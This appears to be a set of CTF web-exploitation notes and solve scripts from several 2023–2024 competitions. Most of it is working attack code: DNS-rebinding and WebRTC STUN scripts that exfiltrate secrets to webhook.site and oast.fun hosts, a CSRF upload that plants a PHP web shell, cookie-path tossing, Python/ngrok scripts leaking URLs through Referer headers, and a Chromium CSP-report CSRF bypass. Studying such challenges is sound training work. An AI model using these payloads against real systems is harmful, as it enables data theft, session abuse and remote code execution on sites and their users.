DNS rebinding attack
UIUCTF 2023
Adminplz
teknik solve lain untuk adminplz, pakai dns rebinding attack untuk bypass same-origin-policy
(for adminplz) Thanks for the 0.0.0.0 tip. That worked for me! I host this page locally:
<head>
</head>
<body>
<h1>WOWZA</h1>
<p>Hello uiuctf</p>
<script>
let morphingUrl = 'http://A.<my-ip-address-here>.1time.0.0.0.0.forever.fdff838a-2e0a-4b80-9757-6b35139bd7ac.rebind.network:8080'
let flagUrl = morphingUrl + '/admin?view=file:/flag.html'
let exfilUrl = 'https://webhook.site/<my-uuid-here>'
setInterval(()=>
{
fetch(flagUrl)
.then(response => response.text())
.then(text =>
{
options = {
method: 'POST',
body: text
}
fetch(exfilUrl, options)
})
}
, 10 * 1000)
</script>
</body>
</html>
and then submit a URL like this:
http://A.<my-ip-address-here>.1time.0.0.0.0.forever.fdff838a-2e0a-4b80-9757-6b35139bd7ac.rebind.network:8080/uiu-ctf
bot.js will read this and be served the above payload, then the fetch() call will end up going to 0.0.0.0 which reads as 127.0.0.1 and thus can read the flag.html content and exfil it. COOL! So much for RFC1918.
DNS CSRF using WebRTC
corctf 2023
<script>async function a(){
c={iceServers:[{urls:"stun:{{user.id}}.x.cjxol.com:1337"}]}
(p=new RTCPeerConnection(c)).createDataChannel("d")
await p.setLocalDescription()
}
a();</script>
https://www.cjxol.com/posts/corctf-2023-crabspace-web-writeup/#:~:text=login%20as%20admin.-,Leak%20admin%20user%20ID,-With%20the%20SSIT
golf jail sekaiCTF 2023
(async ()=>{
var data = document.firstChild.data.trim().split("").map(x=>x.charCodeAt(0).toString(16)).join("")
var tmp = "" for (var i=0;i<=data.length;i++){
tmp += data[i]
if (tmp.length==32 || i == data.length){
var pc = new RTCPeerConnection({"iceServers":[{"urls":[
`stun:${tmp}.ck1ghv72vtc00002x710gj5r3boyyyyyn.oast.fun`, ]}]})
pc.createDataChannel("d")
await pc.setLocalDescription()
tmp = "" }
}
})()
File Upload using CSRF
<form action="http://localhost/?rest_route=/envialosimple/v1/gallery/add" enctype="multipart/form-data" target="_blank" method="post">
<input type="file" name="file">
</form>
<script>
const filename = "exploit.php"
var fileInput = document.querySelector("input[name='file']"); var file = new File(["GIF89a<?php system($_GET['x'])?>"], filename); var dt = new DataTransfer()
dt.items.add(file)
fileInput.files = dt.files;
document.querySelector("form").submit()
</script>
You can seperate cookie to different path, resulting in some phising technique?
https://sec.stealthcopter.com/intigriti-february-ctf-challenge-love-letter-storage/
document.cookie = "jwt=eyJhbGciOiJIUzI1NiJ9.eyJpZCI6MTA5LCJ1c2VybmFtZSI6InRlc3RpbmcxMjMiLCJleHBpcmF0aW9uIjoyMDIzNTEzMDQ5MTU1fQ.CbJ_tfhSEKMBt9SNSdTf_h4-AzISF3Hb9lw5XerrTg0; path=/getLetterData; domain=api.challenge-0224.intigriti.io";document.cookie = "jwt=eyJhbGciOiJIUzI1NiJ9.eyJpZCI6MTA5LCJ1c2VybmFtZSI6InRlc3RpbmcxMjMiLCJleHBpcmF0aW9uIjoyMDIzNTEzMDQ5MTU1fQ.CbJ_tfhSEKMBt9SNSdTf_h4-AzISF3Hb9lw5XerrTg0; path=/storeLetter; domain=api.challenge-0224.intigriti.io";
A cookie will be sent via a POST request.
Reference: b01lers CTF 2024 Challenge Ghost Note
Source Code:
If you are interested in testing the functionality of SameSite Cookies, there's a convenient tool that you can use located at SameSite Cookies Tester (samesitetest.com). This tool allows you to quickly and easily assess the behavior of your SameSite Cookies, providing you with instant feedback and potential troubleshooting solutions.
The behavior displayed below shows Chrome on the left and Firefox on the right.
Solve Script (unitended):
import asyncio
import httpx
from pyngrok import ngrok
from flask import Flask, request
from threading import Thread
PORT = 6666
TUNNEL = ngrok.connect(PORT, "tcp").public_url.replace("tcp://", "http://")
print("TUNNEL:", TUNNEL)
URL = "http://ghost-note.hammer.b01le.rs"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.Client(base_url=url, follow_redirects=True)
def create_note(self, note):
return self.c.post("/", data={
"note": note,
})
class API(BaseAPI):
...
def webServer():
app = Flask(__name__)
@app.get("/")
def home():
print(request.headers)
return f'''<form action="http://ghost-note.hammer.b01le.rs" method="post">
<input type="text" name="note" value='<meta name="referrer" content="unsafe-url"><meta http-equiv="Refresh" content="0; URL={TUNNEL}/referer">'>
</form>
<script>
document.querySelector("form").submit()
</script>
'''
@app.get("/referer")
def referer():
print("referer:", request.headers.get("referer"))
return ""
return Thread(target=app.run, args=('0.0.0.0', PORT))
async def main():
api = API()
server = webServer()
server.start()
res = api.create_note(note=f'<meta http-equiv="Refresh" content="0; URL={TUNNEL}">')
note_url = res.url
print(note_url)
server.join()
if __name__ == "__main__":
asyncio.run(main())
Because there's a misconfiguration in the flag cookie, we can make a request that will contain the flag cookie from a cross-origin. Then, we can leak the flag using the 'referer unsafe-url' meta tag technique.
The intended solution using Ghostery AutoClick
Ghostery has a feature called [Never-Consent](https://www.ghostery.com/blog/never-consent-by-ghostery), which is intended to automatically click on GDPR cookie popups. If you dig into the source code, you'll [find](https://github.com/ghostery/ghostery-extension/blob/main/extension-manifest-v2/app/content-scripts/autoconsent.js) that this is implemented using [duckduckgo/autoconsent](https://github.com/duckduckgo/autoconsent/). Essentially, what the autoconsent mechanism does is that it clicks on specific HTML elements if it detects the presence of another HTML element. The rules for this can be found [here](https://github.com/duckduckgo/autoconsent/blob/main/rules/autoconsent/cookie-script.json).
We can abuse this by creating a note with elements with specific ids to cause the admin to automatically click on the submit button for a form, which allows us to perform a CSRF attack without JS. We can use this to create a note with the flag along with HTML content of our choosing.
Since the URL of the created note is random, we need to find a way to leak it. We can do this by redirecting to an attacker-controlled website with a meta refresh, so the URL is leaked through the `Referer` header. Unfortunately, if you try this, the `Referer` header only contains the domain of the target website. Why is this the case? The [`Referrer-Policy`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy) now defaults to `strict-origin-when-cross-origin`, which means that only same-origin requests will be sent the full path in the `Referer` header.
However, we can override the `Referrer-Policy` with a [meta tag of our own](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meta/name#standard_metadata_names_defined_in_the_html_specification). By setting the referrer policy to `unsafe-url`, the entire path will be sent even for cross-origin requests, allowing us to leak the URL of the note with the flag.
Our final payload is:
```html
<form action="/" method="POST" id="cookiescript_injected">
<input
name="note"
value='<meta name="referrer" content="unsafe-url"><meta http-equiv="refresh" content="0; url=https://attacker-site.example">'
/>
<input type="submit" id="cookiescript_reject" />
</form>
```
```html
<meta name="referrer" content="unsafe-url"><meta http-equiv="refresh" content="0; url=https://webhook.site/ad2b407c-7f02-476b-827a-bc1df9951601">
```
The intended solution:
import asyncio
import httpx
from pyngrok import ngrok
from flask import Flask, request
from threading import Thread
PORT = 6666
TUNNEL = ngrok.connect(PORT, "tcp").public_url.replace("tcp://", "http://")
print("TUNNEL:", TUNNEL)
URL = "http://ghost-note.hammer.b01le.rs"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.Client(base_url=url, follow_redirects=True)
def create_note(self, note):
return self.c.post("/", data={
"note": note,
})
class API(BaseAPI):
...
def webServer():
app = Flask(__name__)
@app.get("/referer")
def referer():
print("referer:", request.headers.get("referer"))
return ""
return Thread(target=app.run, args=('0.0.0.0', PORT))
async def main():
api = API()
server = webServer()
server.start()
res = api.create_note(note=f'''<form action="/" method="POST" id="cookiescript_injected">
<input
name="note"
value='<meta name="referrer" content="unsafe-url"><meta http-equiv="refresh" content="0; url={TUNNEL}/referer">'
/>
<input type="submit" id="cookiescript_reject" />
</form>
''')
note_url = res.url
print(note_url)
server.join()
if __name__ == "__main__":
asyncio.run(main())
CSRF POST using CSP report violation to an endpoint from the Reporting-Endpoints header it doesnt send the origin for some reason
ASIS CTF finals 2024
for more-letters the goal was to send a POST request to
via CSRF that did not have a origin header, since that would bypass the check (same chall idea as letters in quals but this time on chromium + without exposed ssl certs) my solution abused the reporting API implementation in chromium. if you send a CSP report violation to an endpoint from the Reporting-Endpoints header it doesnt send the origin for some reason. however, if the endpoint is cross origin it sends an OPTIONS request, but you can bypass this by sending the report to a same origin endpoint, and then having the endpoint 308 redirect the payload. exploit:
app.all("/redirect", (req, res) => {
let { url } = req.query;
return res.redirect(308, url);
});
app.get("/expl", (req, res) => {
res.setHeader("Reporting-Endpoints", `csp="/redirect?url=${encodeURIComponent(req.query.target)}"`);
res.setHeader("Content-Security-Policy", "default-src 'none'; report-to csp");
res.send("<iframe src='data:text/html,<img src=https://example.com>'></iframe>");
});